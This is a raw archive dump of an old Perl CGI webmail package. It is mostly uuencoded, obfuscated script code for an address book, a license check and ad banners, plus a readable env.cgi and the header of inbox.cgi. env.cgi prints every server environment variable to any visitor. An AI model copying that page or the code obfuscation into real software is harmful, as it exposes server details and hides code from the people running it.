K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
<)'%U97)Y("`@("`@("`@("`](&YE=R!#1TD["@``
M;7D@)'5S97)N86UE("`@("`]("9U;F5S8V%P95]U<FPH)'%U97)Y+3YP87)A
0;2@G55-%4DY!344G*2D["@``
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
M0&%D9&)K(#T@)G)E861?;65S<V%G97-?9G)O;5]D:7-K*"(D=7-E<E]D:7)N
786UE+V%D9')E<W-B;V]K+G1X="(I.PH`
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
J/'1I=&QE/B1,>R=796)M86EL($%D9')E<W,@0F]O:R=]/"]T:71L93X*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@3$E.2STD0WM,24Y+?2!!
@3$E.2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](G5P9&%T96%D9&)O;VLN8V=I
#(CX*
6/'1A8FQE(&-E;&QS<&%C:6YG/30^"@``
%/'1R/@H`
//'1D(&-O;'-P86X]-#X*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
M/&)I9SX\8FEG/CQB/B1,>R=%9&ET($5X:7-T:6YG($4M36%I;"!!9&1R97-S
597,G?3PO8CX\+V)I9SX\+V)I9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQB/B1,>R=$96QE=&4G?3PO8CX\+V9O
);G0^/"]T9#X*
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQB/B1,>R=.86UE)WT\+V(^/"]F;VYT
'/CPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQB/B1,>R=!9&1R97-S)WT\+V(^/"]F
*;VYT/CPO=&0^"@``
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
J9F]R("@D:6YD97@],#LD:6YD97@\/20C861D8FL[)&EN9&5X*RLI('L*
5)%\@/2`D861D8FM;)&EN9&5X73L*
L*"1N86UE+"1A9&1R97-S+"1D:7-P;&%Y*2`]('-P;&ET*"]<?"\L)%\I.PH`
::68@*"1D:7-P;&%Y(&YE(")(241%(BD@>PH`
0<')I;G0@(CQT<CY<;B(["@``
M<')I;G0@(CQT9"!A;&EG;CU<(F-E;G1E<EPB('=I9'1H/5PB-25<(CX\:6YP
M=70@='EP93U<(F-H96-K8F]X7"(@;F%M93U<(E-%3$5#5$5$7"(@=F%L=64]
07"(D:6YD97A<(CY<;B(["@``
M<')I;G0@(CQI;G!U="!T>7!E/5PB:&ED9&5N7"(@;F%M93U<(DE$6%PB('9A
9;'5E/5PB)&EN9&5X7"(^/"]T9#Y<;B(["@``
M<')I;G0@(CQT9#X\:6YP=70@='EP93U<(G1E>'1<(B!N86UE/5PB3D%-15PB
G('-I>F4]7"(S,EPB('9A;'5E/5PB)&YA;65<(CX\+W1D/EQN(CL*
M<')I;G0@(CQT9#X\:6YP=70@='EP93U<(G1E>'1<(B!N86UE/5PB041$4D53
M4UPB('-I>F4]7"(S,EPB('9A;'5E/5PB)&%D9')E<W-<(CX\+W1D/EQN(CL*
I<')I;G0@(CQT9"!W:61T:#U<(CDP)5PB/B9N8G-P.SPO=&0^7&XB.PH`
1<')I;G0@(CPO='(^7&XB.PH`
"?0H`
/?2`C(&5N9"!F;W(N+BX*
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
;/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)S=6)M:70B('9A;'5E
C/2(D3'LG57!D871E($%D9')E<W,@0F]O:R=](CX\+W1D/@H`
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)B=71T;VXB('9A;'5E
M/2(D3'LG0V%N8V5L)WTB(&]N0VQI8VL](FAI<W1O<GDN8F%C:R@I.R(^/"]T
#9#X*
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
M/'1D(&-O;'-P86X]-#X\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B(&-O
M;&]R/21#>U1%6%1?0DQ!0TM]/CQB:6<^/&)I9SX\8CXD3'LG061D($4M36%I
C;"!!9&1R97-S97,G?3PO8CX\+V)I9SX\+V)I9SX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
;/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC
M82(@8V]L;W(])$-[5$585%]"3$%#2WT^/&(^)$Q[)TYA;64G?3PO8CX\+V9O
);G0^/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC
M82(@8V]L;W(])$-[5$585%]"3$%#2WT^/&(^)$Q[)T%D9')E<W,G?3PO8CX\
,+V9O;G0^/"]T9#X*
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9F]R("AV87(@:3TP.R!I/#@[(&DK*RD@>PH`
:9&]C=6UE;G0N=W)I=&5L;B@G/'1R/B<I.PH`
M9&]C=6UE;G0N=W)I=&5L;B@G/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#XG
#*3L*
M9&]C=6UE;G0N=W)I=&5L;B@G/'1D/CQI;G!U="!T>7!E/2)T97AT(B!S:7IE
>/2(S,B(@;F%M93TB041$3D%-12(^/"]T9#XG*3L*
M9&]C=6UE;G0N=W)I=&5L;B@G/'1D/CQI;G!U="!T>7!E/2)T97AT(B!S:7IE
A/2(S,B(@;F%M93TB041$041$4D534R(^/"]T9#XG*3L*
M9&]C=6UE;G0N=W)I=&5L;B@G/'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^
$)RD["@``
;9&]C=6UE;G0N=W)I=&5L;B@G/"]T<CXG*3L*
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
(/"]F;VYT/@H`
)/"]T86)L93X*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B('9A;'5E/2(D
+=7-E<FYA;64B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB141)
$5"(^"@``
(/"]F;W)M/@H`
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/env.cgi100644    312    144         362  7245677670  12232 0ustar  webmailusers#!/usr/bin/perl

use IO::Socket qw(inet_ntoa);

print "content-type: text/plain\n\n";

for (keys(%ENV)) {
 print "ENV{$_} = $ENV{$_}\n";
}

$addr = inet_ntoa(scalar(gethostbyname($ENV{HTTP_HOST})));
print "\nIP of $ENV{HTTP_HOST} = $addr\n";
wm357/inbox.cgi100644    312    144      156527  7245677670  12660 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

#use strict;
use lib ".";
use IO::Socket;
use Sys::Hostname;
use Mail::Address;
use MIME::Head;
use MIME::Parser;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
